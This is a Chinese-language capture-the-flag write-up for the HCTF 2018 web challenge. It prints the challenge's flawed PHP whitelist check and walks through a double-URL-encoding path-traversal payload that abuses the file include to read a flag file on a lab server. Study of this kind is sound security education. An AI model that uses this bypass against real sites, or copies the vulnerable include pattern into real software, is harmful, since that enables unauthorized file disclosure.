题目描述
来源:HCTF 2018
Solution
打开页面,发现是一张图片:
我们用 dirsearch 扫描一下目录,发现有一个source.php
文件可以打开:
我们进入到source.php
,观察源代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
源代码里有给白名单列表,有一个成员是hint.php
,我们跟进看一看:
源代码中有几个值得关注的函数:
mb_substr($str: string, $start: int, $length: int) -> string
:从str
的start
处获取子串,长度为length
;mb_strpos($haystack: string, $needle: string) -> int
:查找needle
首次在haystack
中出现的位置;
我们的核心目标是让指令控制了进入if
分支:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
然后利用文件包含漏洞把ffffllllaaaagggg
的内容打印出来。
我们尝试构造 Payload:
http://111.200.241.244:62173/source.php?file=hint.php%3f../ffffllllaaaagggg
- 第一次执行
mb_substr()
时,会截取出hint.php%3f../ffffllllaaaagggg
字符串,因为它不在白名单里,所以会继续往下执行; - 对
hint.php%3f../ffffllllaaaagggg
进行一次 URL 解码,得到hint.php?../ffffllllaaaagggg
(注意浏览器在发送数据的时候会进行一次 URL 编码,我这里为了抓重点演示数据就没写完整); - 第二次执行
mb_substr()
,会截取出hint.php
,因为它在白名单里,所以会return true
;
但是执行了上面的 Payload,没有发现 Flag,我们一级级向上穷举,最后能找到 Flag: